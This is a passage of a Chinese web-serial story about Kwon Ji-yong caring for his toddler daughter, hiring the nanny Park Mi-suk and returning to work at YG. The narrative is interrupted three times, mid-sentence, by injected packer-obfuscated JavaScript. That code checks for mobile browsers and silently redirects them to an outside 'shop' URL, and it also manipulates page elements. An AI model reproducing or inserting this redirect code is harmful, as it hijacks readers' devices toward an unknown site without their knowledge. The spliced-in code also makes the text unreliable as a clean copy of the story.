“吃点东西。”他说,“你倒下了,孩子更没人照顾。” 权志龙接过碗,粥的温度透过瓷碗传到掌心,带来一种朴实的暖意。他舀起一勺送进嘴里,味道很普通,但热乎乎的食物下肚,确实让冰冷的胃舒服了一些。 两人都没再说话。权志龙坐在婴儿床边的矮凳上喝粥,李洙赫靠在墙上,目光落在熟睡的贤智身上。房间里只有加湿器细微的声响,和权志龙喝粥时勺子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17135657|196261||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 碰触碗壁的轻微叮当声。 一碗粥喝完,权志龙感觉恢复了些力气。他放下碗,看向李洙赫:“你下午不是有拍摄?” “推迟了。”李洙赫说,“我跟摄影师说了有事。” 权志龙张了张嘴,想说什么,最终只是低声说了句:“谢谢。” “不用。”李洙赫顿了顿,目光转向权志龙,“你看起来很累。” 权志龙苦笑了一下。“有点。” “这样的日子,”李洙赫问,“要持续多久?” 权志龙沉默了片刻。“不知道。也许一直都会这样。” “值得吗?” 这个问题很突然。权志龙抬起头,对上李洙赫平静的目光。那双眼睛里没有评判,只是纯粹的询问。 值得吗? 放弃随心所欲的生活,放弃部分事业上的机会,每天被奶粉、尿布、孩子的哭声填满,连睡个整觉都成了奢侈。 他看着婴儿床里熟睡的贤智,看着她微微颤动的睫毛,看着她因为发烧而有些干燥的嘴唇。 柏林那一夜,李智媛的笑容在记忆里闪过。 她信里的那句话:「贤智是我生命里最完美的即兴旋律。」 “值得。”权志龙说,声音很轻,但很确定。 李洙赫看了他几秒,然后点了点头,没再说什么。 傍晚六点,多美到了。她风尘仆仆,显然是直接从高铁站过来的,手里还拎着一个保温桶。 “我让家里阿姨炖的梨汤,润肺的。”她把保温桶放在厨房,“贤智呢?” “刚量过体温,37.8度,降了。”权志龙说,“在睡。” 多美走进儿童房看了看,又出来,目光在权志龙和李洙赫之间转了一圈。“你们两个大男人,折腾一天了。我留下来,你们都去休息。” “不用了姐,”权志龙说,“我能行。” “你能行什么?”多美瞪了他一眼,“看看你自己的脸色,跟鬼一样。今晚我睡客房,你好好睡一觉。明天还要照顾孩子呢。” 她又看向李洙赫:“洙赫也回去吧,今天麻烦你了。” 李洙赫点点头,拿起自己的双肩包。“有需要随时打电话。” 权志龙送他到门口。电梯门打开前,李洙赫忽然回头:“对了。我认识一个很可靠的育儿嫂,以前照顾过我姐姐的孩子。如果你需要,我可以介绍。” 权志龙愣了一下,随即点头:“好。联系方式发给我。” “嗯。”李洙赫走进电梯,门缓缓合上。 回到客厅,多美已经换上了家居服,正在厨房热梨汤。“你先去洗澡,然后喝碗汤睡觉。贤智半夜如果要起来,我来弄。” 权志龙想说什么,但被多美一个眼神瞪了回去。他叹了口气,依言走进浴室。 热水冲刷着疲惫的身体,蒸汽弥漫。权志龙靠在瓷砖墙上,闭上眼睛。一整天的高压和焦虑,在热水的安抚下慢慢消散。 等他洗完澡出来,多美已经把梨汤盛好了。温热的甜汤下肚,带着淡淡的梨香和红枣味,让人从胃里暖起来。 “去睡。”多美收拾碗筷,“主卧。门关好,别操心。” 权志龙确实累极了。他走进主卧,倒在床上,几乎立刻陷入了沉睡。 这一夜,他睡得并不安稳。梦里交织着会议室的争执、贤智的哭声、李智媛苍白的脸、还有无数模糊的、焦虑的碎片。半夜他惊醒过一次,看了眼手机,凌晨两点。他起身,轻轻推开儿童房的门。 房间里只开着小夜灯。多美躺在房间角落的沙发上,盖着薄毯,已经睡着了。婴儿床里,贤智也睡得很沉,呼吸平稳。 权志龙悄悄走过去,摸了摸贤智的额头。温度正常了。 他松了口气,给贤智掖好被角,然后退出房间。 回到床上,这次他很快又睡着了。 再次醒来时,天已经亮了。晨光透过窗帘缝隙照进来,在木地板上投下温暖的光斑。权志龙坐起身,感觉精神恢复了不少。 他走出房间,闻到厨房传来的食物香气。多美正在煎蛋,贤智坐在餐椅里,面前放着一小碗燕麦糊。她的脸色看起来好多了,虽然还有点蔫,但至少不再泛着病态的红晕。 “醒了?”多美头也不回,“贤智退烧了,早上量36.8度。吃了半碗燕麦糊,精神好多了。” 权志龙走到贤智身边,蹲下身,看着她。“贤智啊,还难受吗?” 贤智转过头,看向他。她的眼睛还有些肿,但眼神清澈了不少。她看了他几秒,然后伸出小手,碰了碰他的脸。 指尖微凉,带着燕麦糊黏糊糊的触感。 权志龙握住她的小手,轻声说:“对不起,昨天爸爸不在。” 贤智没说话,只是把另一只手里抓着的小勺子递给他,像是要分给他吃。 权志龙愣了一下,随即笑了。“爸爸不吃,贤智自己吃。” 多美把煎蛋端过来,放在餐桌上。“行了,别肉麻了。吃饭,吃完我还要回工作室。” 早餐在一种平和的氛围中结束。贤智的胃口恢复了一些,吃了大半碗燕麦糊。多美匆匆吃完就离开了,留下权志龙收拾残局。 洗好碗,收拾好厨房,权志龙抱着贤智走到客厅。窗外阳光很好,秋日的天空是高远的湛蓝色。 他在钢琴前坐下,把贤智放在腿上。贤智似乎对钢琴还有印象,小手放在琴键上,试探性地按了一下。 清脆的单音响起。 权志龙握住她的小手,带着她,一起按下一个简单的和弦。 几个音符和谐地共鸣,在晨光中流淌。 贤智抬起头,看向他,嘴角弯起了一个小小的、但很清晰的弧度。 这一次,是一个真正的笑容。 虽然很快又恢复了平静,但那个笑容像一道光,照进了权志龙心里最柔软的地方。 他低头,在贤智发顶轻轻印下一个吻。 手机在口袋里震动。他拿出来看,是李洙赫发来的消息:「育儿嫂的联系方式发你了。她叫朴阿姨,经验丰富,人品可靠。需要的话直接联系。」 下面是一个电话号码。 权志龙盯着那条消息,又看了看怀里安静玩着琴键的贤智。 窗外,秋日的阳光正好。 生活还在继续,有兵荒马乱,有疲惫不堪,但也有这样安静的、温暖的时刻。 而他知道,自己必须在这两者之间,找到一个平衡点。 为了贤智,也为了自己。 他回复李洙赫:「收到,谢谢。」 然后,他把手机放回口袋,双手放在琴键上,弹起了一首轻柔的、即兴的旋律。 贤智靠在他怀里,听着音乐,小手无意识地跟着节奏轻轻拍打他的手臂。 晨光洒满房间,音符在空气中跳跃。 新的一天,就这样开始了。 10. 第十章 朴阿姨是在一个周四下午来面试的。 多雨的深秋终于放晴,午后的阳光斜斜地照进客厅,在地毯上投下暖金色的光斑。权志龙提前把客厅收拾了一遍——虽然多美说“又不是面试你,是你看她”,但他还是下意识地把散落的玩具收进收纳箱,把茶几上摊开的育儿书合上摆好。 门铃在两点整准时响起。 权志龙抱着贤智去开门。门外站着一个大约五十多岁的女性,个子不高,身形微胖,穿着浅灰色的针织开衫和深色长裤,头发在脑后梳成一个整洁的发髻。她手里提着一个看起来很实用的帆布手提包,脸上带着温和但不过分热情的笑容。 “您好,是权志龙先生吧?”她微微欠身,“我是朴美淑,李洙赫先生介绍来的。” “请进。”权志龙侧身让她进来。 朴阿姨走进玄关,自然地换上多美提前准备好的拖鞋。她的目光快速扫过客厅,在儿童游戏区和钢琴上停留了一秒,然后落在权志龙怀里的贤智身上。 “这就是小贤智吧?”她的声音温和,音量适中,“您好啊,贤智。” 贤智靠在权志龙肩上,睁着大眼睛看着这个陌生人,没有害怕,也没有好奇,只是安静地观察。 权志龙请朴阿姨在沙发上坐下,自己抱着贤智坐在对面。他按照多美教的,先从一些基本问题开始:“朴阿姨做育儿嫂多久了?” “二十三年了。”朴阿姨从帆布包里拿出一份装订整齐的简历,双手递过来,“最早是在月子中心工作,后来开始做住家育儿嫂。照顾过的新生儿到学龄前儿童,大概有四十多个。” 权志龙接过简历,快速浏览。履历确实很丰富,时间线清晰,还有几家前雇主提供的推荐信复印件——其中一份的署名是李洙赫姐姐的名字。 “您上一份工作是什么时候结束的?”他问。 “三个月前。”朴阿姨回答得很坦然,“上一个家庭的孩子上幼儿园了,不再需要全天照顾。我和他们一家人关系很好,现在还偶尔联系,会去看孩子。” “为什么选择现在重新工作?” 朴阿姨笑了笑:“我闲不住。而且……我喜欢孩子。看着他们从那么小一点,慢慢学会翻身、坐起来、走路、说话,是很有成就感的事情。” 权志龙点点头,翻到简历的最后一页,那里有一张朴阿姨和几个不同年龄段孩子的合影。照片里的她笑容温暖,眼神柔和。 “您对工作时间有什么要求?”他继续问。 “我通常做朝九晚五,如果需要加班可以提前沟通。周末休息,但如果临时有急事,也可以调整。”朴阿姨顿了顿,“李洙赫先生大概说了您的情况,您是单亲爸爸,工作性质特殊。如果需要我在非工作时间偶尔帮忙,我可以灵活安排。” 权志龙抬起眼:“李洙赫说了什么?” “只说您一个人带孩子,工作忙,需要可靠的帮手。”朴阿姨回答得很得体,“其他的,他说等您自己告诉我。” 权志龙沉默了片刻。他低头看了看怀里的贤智,她正玩着自己外套上的扣子,对大人的对话似乎不感兴趣。 “贤智一岁半。”他开口,“很安静,不太哭闹,但也不太主动表达。吃饭、睡觉都还算规律,但最近生病了一次,之后胃口不太好。” 朴阿姨认真地听着,等他说完,才问:“有过敏史吗?” “没有。” “平时喜欢玩什么?” “积木,摇铃,最近对钢琴的声音感兴趣。” “怕什么?” 这个问题让权志龙愣了一下。他想了想:“好像……没有特别怕的。但生病的时候会特别黏人。” 朴阿姨点点头,从帆布包里拿出一个小本子,记了几笔。她的字迹工整清晰。 “我能看看孩子的房间吗?”她问。 权志龙带她走进儿童房。朴阿姨走得很慢,目光仔细地扫过房间的每一个角落:婴儿床的高度和护栏间隙,尿布台的摆放位置,窗户的锁扣,墙角的电源保护盖,书架的高度和稳定性…… “这个玩具收纳架,”她指了指墙角一个三层的小架子,“最下面一层对孩子来说还是有点高。如果她扶着站起来够东西,架子有倾倒的风险。最好能固定在墙上,或者换一个更稳的。” 权志龙顺着她的目光看去,那个架子是多美买的,他确实没考虑过安全问题。 朴阿姨又走到窗边,检查了窗户的限位器。“这个可以,但最好再加一道儿童锁。”她转身,“权先生,您家里有监控吗?” “客厅和儿童房有。” “我工作时,可以接受监控。这是为了保护孩子,也是保护我自己。”朴阿姨的语气很自然,“但希望监控的范围仅限于孩子活动的公共区域和儿童房,其他私人空间,比如我可能临时休息的房间,希望不要安装。” 权志龙点点头:“这个当然。” 回到客厅,朴阿姨重新在沙发上坐下。贤智似乎坐累了,在权志龙怀里扭动身体。朴阿姨看到了,轻声说:“孩子可能想下来活动。” 权志龙把贤智放在地毯上。贤智坐稳后,看了看朴阿姨,然后慢慢爬向游戏区,抓起一个软积木,在手里摆弄。 朴阿姨的目光一直跟着贤智,观察她的动作和反应。过了一会儿,她才转回头,看向权志龙。 “权先生,我有几个问题想问您。” “请说。” “第一,关于孩子的教育理念。您希望我以什么样的方式和她相处?是严格的规矩型,还是更自由的发展型?” 权志龙被问住了。教育理念?他从来没想过这个问题。 “我……不知道。”他诚实地回答,“我只希望她健康、快乐。” 朴阿姨点点头,在本子上记了一笔。“第二,关于饮食。您对孩子吃零食、看电视、接触电子设备有什么限制吗?” “她太小了,现在还没接触过这些。” “第三,”朴阿姨顿了顿,语气变得慎重,“如果我在照顾孩子期间,发现一些可能影响她健康或安全的问题——比如您家里的某些习惯、访客、或者您个人的状态——我有责任提醒您。您能接受吗?” 权志龙沉默了几秒。“可以。” 朴阿姨合上本子,脸上重新露出温和的笑容。“我的情况大概就是这样。权先生有什么问题要问我吗?” 权志龙想了想:“如果您开始工作,第一天会做什么?” “先熟悉孩子的作息和习惯,观察她的性格特点。然后根据家里的环境和您的需求,制定一个初步的日常安排。重点会放在建立信任感上——让孩子接受我,需要时间。” “如果她一直不接受呢?” “那就慢慢来。”朴阿姨说,“孩子的心很敏感,强迫不来。我会从陪她玩、给她读绘本、带她出门散步开始,让她在轻松的环境里熟悉我。” 权志龙点点头,又问:“您的薪资要求是?” 朴阿姨报了一个数字,比权志龙预想的要高一些,但考虑到她的资历和经验,也算合理。 “我需要时间考虑。”他说,“也会跟家人商量一下。最晚明天给您答复,可以吗?” “当然。”朴阿姨站起身,从帆布包里拿出一张名片,“这是我的联系方式。无论您是否决定雇佣我,如果有任何育儿方面的问题,随时可以问我。” 她走到玄关,换好鞋,又回头看了一眼坐在地毯上玩积木的贤智。 “贤智是个很 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“但她提醒我,贤智太安静了。”权志龙说,“她说太安静反而需要更多关注。” 多美夹菜的手顿了顿。“她说的有道理。贤智确实太乖了,有时候乖得让人担心。” “那……我该雇她吗?” “你自己怎么想?”多美反问,“你需要一个帮手,这是肯定的。但你能接受家里多一个陌生人吗?能接受她可能用跟你不一样的方式照顾孩子吗?” 权志龙沉默了。他需要帮手——今天下午,他本来想抽时间看看杨社长给的那份企划书,但贤智午睡醒后有点闹,他完全没时间。如果这样的情况持续下去,他确实无法兼顾育儿和工作。 但让一个陌生人进入他和贤智的生活,分享那些亲密的时刻……他又觉得有些抗拒。 “先试用一周吧。”多美建议,“看看合不合适。如果不合适,及时止损。” 权志龙想了想,点点头。“好。” 他给朴阿姨发了条消息:「朴阿姨,我们决定先试用一周。下周一可以开始吗?」 几分钟后,朴阿姨回复:「可以。周一早上九点,我会准时到。需要我带什么个人用品吗?」 「不用,家里都有。」 「好的。期待与贤智的相处。」 放下手机,权志龙走到客厅。贤智已经被多美哄睡了,躺在婴儿床里,怀里抱着兔子玩偶。月光透过百叶窗的缝隙洒进来,在她脸上投下柔和的光影。 权志龙在床边坐下,看着她熟睡的小脸。 下周一开始,这个家里会多一个人。 他的生活会因此变得轻松一些吗?还是会多出新的烦恼? 他不知道。 但他知道,他需要一个帮手。为了贤智,也为了他自己。 窗外,秋夜的星空清澈高远。 新的篇章,即将开始。 11. 第 11 章 周一早晨,权志龙醒得比平时更早。 窗外天色还是一片深蓝,只有东方天际线透出一丝极淡的灰白。他躺在床上,听着主卧时钟秒针规律的走动声,脑子里反复预演着今天的场景:朴阿姨九点到,他要交代哪些事项,贤智会有什么反应,他离开后她们如何相处…… 七点整,他起床,走进浴室。冷水扑在脸上,驱散最后一丝睡意。镜中的男人眼下仍有淡淡的阴影,但眼神比几周前坚定了一些。他刮胡子,整理头发,换上一件简单的深灰色针织衫。 儿童房里,贤智还在睡。她侧躺着,一只手伸出被子,手指微微蜷着。权志龙在门口站了一会儿,没有进去打扰,转身走向厨房。 冲奶粉的动作已经流畅得像某种仪式。奶瓶放进温奶器保温,他又从冰箱里拿出昨晚准备好的食材——朴阿姨说第一天她主要观察,午餐简单准备点就行,但他还是想表现得……周到一些。 八点半,贤智醒了。权志龙给她换尿布,洗漱,穿上那套米白色的连体衣。贤智似乎察觉到今天的氛围有些不同,比平时更安静,只是用大眼睛看着权志龙,小手抓着他的衣角。 “今天会有一位阿姨来帮忙照顾贤智。”权志龙一边给她穿袜子,一边轻声说,“她叫朴阿姨,人很好。爸爸今天要出去工作,很快就回来。” 贤智没反应,只是低头玩自己外套上的扣子。 八点五十分,门铃响了。 权志龙抱着贤智去开门。朴阿姨站在门外,还是那天面试时的装扮,只是手里多了一个小行李箱——装着个人用品和换洗衣物,她说是为了方便偶尔加班留宿。 “早上好。”朴阿姨微微欠身,目光先落在贤智身上,“贤智,早上好。” 贤智看着她,没说话,小手抓紧了权志龙的衣领。 “请进。”权志龙侧身让她进来,“吃早饭了吗?” “吃过了,谢谢。”朴阿姨换上拖鞋,把行李箱放在玄关角落。她走进客厅,环顾四周,然后从帆布包里拿出一个小盒子。 “给贤智的小礼物。”她打开盒子,里面是一个手工缝制的布艺玩偶,造型是一只憨态可掬的小熊,针脚细密,布料柔软,“我自己做的,材料都是婴儿安全的。” 权志龙接过小熊,递给贤智。贤智看了看小熊,又看了看朴阿姨,然后伸出小手,轻轻碰了碰小熊的耳朵。 “喜欢吗?”朴阿姨问,声音很温和。 贤智没说话,只是把小熊抱在怀里。 权志龙松了口气。至少没有排斥。 他带朴阿姨熟悉环境。厨房、儿童房、游戏区、卫生间,每一处都详细说明了物品的位置和孩子的习惯。 “贤智早上七点到七点半醒,醒来后先喝奶,180毫升。八点左右吃早餐,通常是麦片糊或果泥。上午会玩一会儿,十点左右可能需要小睡,但最近她白天睡得少了……” 他语速很快,像在交代重要任务。朴阿姨安静地听着,偶尔在小本子上记几笔。 “中午十一点半吃午饭,下午一点到三点午睡,醒来后喝奶,然后可以带她去楼下散步——小区里有儿童游乐区,但人不多。晚上六点吃晚饭,七点半洗澡,八点前上床……” “权先生,”朴阿姨轻声打断他,“您不用这么紧张。今天第一天,主要是让贤智熟悉我。具体的作息,我会根据她的状态灵活调整。” 权志龙愣了一下,随即意识到自己确实有点过度焦虑了。他深吸一口气,点点头:“好。那……就拜托你了。” 他把贤智放下。贤智站在地毯上,抱着小熊,看了看权志龙,又看了看朴阿姨,表情有些茫然。 “贤智,”权志龙蹲下身,和她视线平齐,“爸爸要出去工作,下午就回来。朴阿姨会陪你玩,好吗?” 贤智的小嘴瘪了瘪,眼眶微微泛红,但没有哭。她伸出手,抓住权志龙的衣角。 朴阿姨走上前,没有立刻去抱贤智,而是在她旁边坐下,从包里拿出一个色彩鲜艳的摇铃。“贤智看,这个会响哦。” 她轻轻摇晃摇铃,清脆的声响在客厅里回荡。 贤智的注意力被吸引了。她转过头,看着摇铃,又看看朴阿姨。 朴阿姨把摇铃递给她。贤智犹豫了一下,松开权志龙的衣角,接过摇铃,学着她的样子晃了晃。 叮铃,叮铃。 权志龙看着这一幕,心里五味杂陈。贤智被吸引了,这很好,但那种被需要、被依赖的感觉……正在微妙地转移。 他站起身,拿起搭在沙发上的外套。“那我……先走了。” 朴阿姨抬起头:“权先生请放心去工作。有任何情况,我会第一时间联系您。” “好。”权志龙最后看了贤智一眼,贤智正专心玩着摇铃,没看他。 他转身走向玄关,拉开门,又回头看了一眼。客厅里,朴阿姨坐在地毯上,贤智靠在她身边,两人之间保持着恰到好处的距离,既不疏远,也不过分亲近。 门轻轻合上。 电梯下降时,权志龙感到一种奇异的空虚感。这是贤智来到他身边后,他第一次真正意义上的“离开”。过去几周,即使有多美或李洙赫帮忙,他也在附近,随时可以回来。但今天,他要去做自己的事,把女儿完全交给一个认识不到一周的陌生人。 地下车库里,金南国的车已经在等。看见权志龙走过来,经纪人推开车门。 “怎么样?”金南国问,“孩子能接受吗?” “还在观察。”权志龙坐进副驾驶,系上安全带,“走吧。” 今天要去YG公司。不是正式会议,而是去录音室见几位制作人,讨论杨社长给的那份企划书里的音乐方向。权志龙在过去的几天里,利用贤智午睡的时间,仔细看了那份企划,做了不少批注。 车子驶出车库,融入上午的车流。首尔的秋天在车窗外展开,行道树的叶子已经金黄,在阳光下闪闪发光。 “杨社长今天也会去录音室。”金南国说,语气有些小心,“他说想听听你的想法。” 权志龙点点头,没说话。他拿出手机,点开家里的监控APP。屏幕上分割成两个画面:客厅和儿童房。 客厅里,朴阿姨正坐在地毯上,贤智在她旁边玩积木。朴阿姨没有一直盯着贤智,而是偶尔看她一眼,大部分时间在看手里的一本书——看起来像是育儿杂志。这种“陪伴但不打扰”的姿态,让权志龙稍微安心了些。 儿童房的画面里,一切如常。婴儿床、钢琴、小书架……阳光透过百叶窗洒进来,在地板上投下条纹状的光影。 “别看了。”金南国说,“朴阿姨是洙赫推荐的,应该没问题。” 权志龙关掉手机,靠进椅背。“我知道。” YG大楼在清潭洞,是一栋设计感很强的玻璃建筑。车子驶入地下车库时,权志龙看到入口处有几个记者模样的人蹲守,但保安拦住了他们。 “最近记者越来越多了。”金南国皱眉,“都在猜你什么时候正式回归。” 权志龙戴上口罩和帽子,推开车门。电梯直达顶层录音室区域,走廊里很安静,厚厚的地毯吸收了脚步声。经过练习室时,里面传来年轻练习生练舞的音乐声,节奏强烈,充满活力。 录音室门口,杨贤硕已经在等了。他穿着休闲的深蓝色西装,没打领带,看见权志龙,脸上露出一个笑容。 “来了。”他拍了拍权志龙的肩膀,“气色比上次好。” “社长。”权志龙点头致意。 录音室里已经有三个人在等:两位资深制作人,一位年轻的编曲。看见权志龙进来,他们都站起身。 “志龙哥,好久不见。”年轻的编曲有些紧张地鞠躬。权志龙认得他,是公司这两年重点培养的新人,很有才华。 “坐吧。”杨贤硕示意大家坐下,“今天主要是聊聊音乐方向。志龙,你先说说看企划书的想法。” 接下来的两个小时,权志龙沉浸在音乐讨论中。他拿出自己做的批注,逐条分析企划书里的概念和提案。有些他赞同,有些他提出质疑,还有些他给出了完全不同的想法。 “主打歌的旋律太‘安全’了。”他指着谱面上的一段,“我需要更有冲击力的东西,不是重复过去的风格。” 制作人点头:“我们也觉得。但市场现在偏向抒情和大众化……” “那就创造新的市场。”权志龙说得很平静,但语气笃定,“我一直都是这么做的。” 录音室里的气氛有些微妙。两位资深制作人交换了一个眼神,年轻的编曲则眼睛发亮,显然被这句话打动了。 杨贤硕一直安静地听着,手指在膝盖上轻轻敲击。等权志龙说完,他才开口:“志龙,你说的有道理。但你也知道,公司现在的情况,经不起太大的风险。” “真正的风险是重复自己,然后被遗忘。”权志龙迎上杨贤硕的目光,“社长,你当年签下我的时候,不也是看中了我‘不一样’吗?” 杨贤硕沉默了几秒,忽然笑了。“好。那你就做你想做的。但时间表不能拖,明年第一季度,至少要有一首单曲出来。” “可以。”权志龙点头,“但编曲和制作,我需要更大的自主权。” “可以。” 谈判意外地顺利。权志龙原本准备了更多说辞,但杨贤硕似乎比想象中更愿意让步。也许是因为公司真的需要他,也许是因为别的什么。 会议结束时,已经中午十二点半。杨贤硕请大家去公司餐厅吃饭,权志龙婉拒了。 “家里有事,得早点回去。”他说。 杨贤硕看了他一眼,眼神里闪过一丝复杂的情绪,但没多问。“好。那下次再聊。” 走出YG大楼,权志龙立刻拿出手机,点开监控。 客厅的画面里,贤智正坐在餐椅上,朴阿姨在喂她吃午饭。贤智看起来很配合,一口一口地吃着,偶尔会转头看看周围。朴阿姨的动作很稳,喂食的节奏恰到好处,不会太快也不会太慢。 儿童房的画面里,一切依旧。 权志龙松了口气。 “回公寓?”金南国问。 “嗯。” 回去的路上,权志龙一直看着监控。下午一点,朴阿姨给贤智换了尿布,然后抱着她走进儿童房,轻轻哼着歌哄她午睡。贤智似乎有些抗拒,小手抓着朴阿姨的衣服,但朴阿姨很有耐心,一直哼着柔和的摇篮曲,慢慢拍着她的背。 十分钟后,贤智睡着了。 朴阿姨把她轻轻放进婴儿床,盖好被子,然后退出房间,轻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17135659|196261||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 轻带上门。她走到客厅,没有休息,而是开始收拾玩具,擦拭游戏区的垫子,然后走进厨房,似乎在准备什么。 下午两点,权志龙回到公寓。他轻轻开门,客厅里很安静。朴阿姨坐在沙发上,正在看一本育婴杂志,听到动静抬起头。 “权先生回来了。”她站起身,压低声音,“贤智还在睡,大概三点左右会醒。” 权志龙点点头,走到儿童房门口,轻轻推开门。贤智侧躺着,睡得正香,怀里抱着那只破兔子和朴阿姨送的小熊。 他退出来,关上门。“今天怎么样?” “很顺利。”朴阿姨走到厨房,从冰箱里拿出一个保鲜盒,“贤智上午玩得很开心,午餐吃了大半碗蔬菜鸡肉泥。午睡时有点闹,但很快就睡着了。” 她打开保鲜盒,里面是切好的水果。“这是给贤智下午睡醒后吃的。我观察了一下,她好像更喜欢梨和香蕉,苹果不太爱吃。” 权志龙看着那盒精心准备的水果,心里涌起一股复杂的情绪。朴阿姨做得很好,甚至比他更细心。但这反而让他有些……失落。 “辛苦你了。”他说,“今天就这样吧,你可以下班了。” 朴阿姨看了看表,两点十分。“我等到贤智醒来再走吧,万一她认生。” “不用了,我可以应付。” 朴阿姨没坚持,点点头:“好。那我明天早上九点再来。”她收拾好自己的东西,走到玄关,又回头说,“对了,权先生。我今天发现贤智的左耳后面有一颗小痣,您知道吗?” 权志龙愣了一下。“什么?” “在左耳后面,发际线下面一点。”朴阿姨比划了一下,“很小,不仔细看看不到。我帮您拍张照片吧,孩子身上有胎记或痣,家长最好记录一下。” 她拿出手机,征得权志龙同意后,轻轻走进儿童房,拍了一张贤智左耳后的照片,发给他。 权志龙看着照片里那个小小的、浅褐色的痣,心里某个地方被轻轻触动了。他照顾贤智快一个月了,居然没发现。 “谢谢。”他低声说。 “应该的。”朴阿姨换好鞋,“那我先走了。明天见。” 门轻轻合上。 公寓里重新安静下来。权志龙走到客厅,在沙发上坐下。阳光透过落地窗洒进来,温暖而明亮。他看了看时间,两点二十。 他起身,走进书房,打开电脑,开始整理今天在YG讨论的内容。手指在键盘上敲击,思绪却时不时飘向儿童房。 下午三点十分,儿童房传来细微的动静。 权志龙立刻放下工作,走过去。贤智已经醒了,正坐在婴儿床里,揉着眼睛。看见他进来,她放下手,张开双臂。 权志龙把她抱起来,感受着她睡醒后温热的身体和柔软的依赖。 “睡得好吗?”他轻声问。 贤智把脸埋在他颈窝,小脑袋蹭了蹭。 他抱着她走到客厅,从冰箱里拿出朴阿姨准备的水果,用勺子刮成泥,喂给她吃。贤智吃得很香,一口接一口。 “今天跟朴阿姨玩得开心吗?”权志龙问。 贤智没回答,只是专心吃梨泥。但当她吃完,权志龙想把她放下时,她的小手却抓着他的衣服不放。 “要抱?”权志龙问。 贤智点点头——这是她最近新学会的表达方式,虽然还不会说话,但会用点头摇头表示意愿。 权志龙心里一软,抱着她在客厅里慢慢走动。贤智靠在他肩上,小手抓着他的衣领,安静地看着窗外。 下午的阳光把房间染成金色。钢琴在角落静静伫立,游戏区的滑梯投下长长的影子。 权志龙抱着贤智,走到钢琴前坐下。他用一只手弹了几个简单的音符,不成调,只是随意地按着琴键。 贤智听着,然后伸出小手,也按下一个键。 “叮。” 她抬起头,看向权志龙,嘴角弯起一个小小的弧度。 权志龙握住她的小手,带着她,一起按下一个和弦。 几个音符同时响起,在温暖的午后空气中回荡。 手机震动了一下。权志龙空出一只手,拿出来看。 是朴阿姨发来的消息:「权先生,忘了说。今天发现贤智对蓝色的玩具特别感兴趣,明天我会多准备一些蓝色的教具。另外,她下午睡醒后可能会有点饿,水果泥的量可以稍微多一点。」 权志龙看着那条消息,又低头看了看怀里专心玩琴键的贤智。 新的日常,就这样开始了。 有帮手,有分担,有更多时间专注于音乐,但也有新的挑战:如何平衡自己与育儿嫂的角色,如何保持与女儿的亲密联结,如何在这个重组的小家庭里找到自己的位置。 窗外,秋日的天空湛蓝高远。 钢琴声在房间里流淌,断断续续,不成曲调,却充满生活的温度。 贤智靠在他怀里,小手在琴键上摸索,偶尔按下一个音符,然后抬头看他,眼睛亮晶晶的。 权志龙低头,在她发顶轻轻印下一个吻。 新的日常,还在适应中。 但至少此刻,在这个阳光温暖的下午,他怀里的孩子是安心的,他也是。 这就够了。 第十一章完 12.第 12 章 朴阿姨工作的第三天,权志龙开始感受到一种陌生的规律。 早晨七点,他起床洗漱时,朴阿姨已经准时抵达,正在厨房准备贤智的早餐。八点,贤智醒来,朴阿姨给她换尿布、洗漱、喂奶,一气呵成。九点,权志龙带着咖啡走进书房,开始处理积压的工作邮件和音乐文件。 透过书房虚掩的门,他能听到客厅里传来的声音:朴阿姨轻柔的说话声,摇铃的叮当声,贤智偶尔发出的含糊音节。这些声音不远不近,存在但不侵扰,像某种背景白噪音。 中午十二点半,朴阿姨会轻轻敲门,提醒他午餐时间。通常是简单的韩餐——朴阿姨会多做一份,放在保温餐盒里。权志龙一开始觉得这样太麻烦她,但朴阿姨说:“反正要做,多做一份不费事。” 下午一点,贤智午睡。权志龙会利用这两个小时,要么继续工作,要么短暂补个觉。朴阿姨会在这段时间里收拾房间,清洗玩具,准备下午的点心。 三点,贤智醒来。权志龙通常会在此时走出书房,陪贤智玩一会儿。这是他刻意保留的“亲子时间”——朴阿姨很识趣,会在这时候去阳台收衣服,或者整理儿童房的衣柜。 新的节奏像一首精心编排的曲子,每个乐章都有明确的时间标记。权志龙发现自己竟然开始……享受这种规律。 周四下午,他约了太阳在公司附近的咖啡馆见面。 地点选在清潭洞一条小巷深处的日式咖啡馆,隐蔽性很好。权志龙到的时候,太阳已经在了,坐在最里面的卡座,面前放着一杯美式咖啡。 “永裴。”权志龙在他对面坐下,摘下口罩和帽子。 太阳抬起头,脸上露出温暖的笑容。“来了。”他打量着权志龙,“气色不错,比上次见你好多了。” 服务生走过来,权志龙点了杯热美式。等咖啡端上来,太阳才开口:“孩子的事……我听说了。” 权志龙点点头,没有太意外。太阳和他认识太多年了,知道是迟早的事。 “辛苦了吧?”太阳的语气很温和,没有太多追问。 “还好。”权志龙搅动着咖啡,“请了育儿嫂,现在规律多了。” 太阳点点头,沉默了一会儿。“我儿子刚出生那几个月,我也差点崩溃。什么都不懂,孩子一哭我就慌。”他笑了笑,“后来慢慢就好了。做父母就是这样,一边学一边做。” 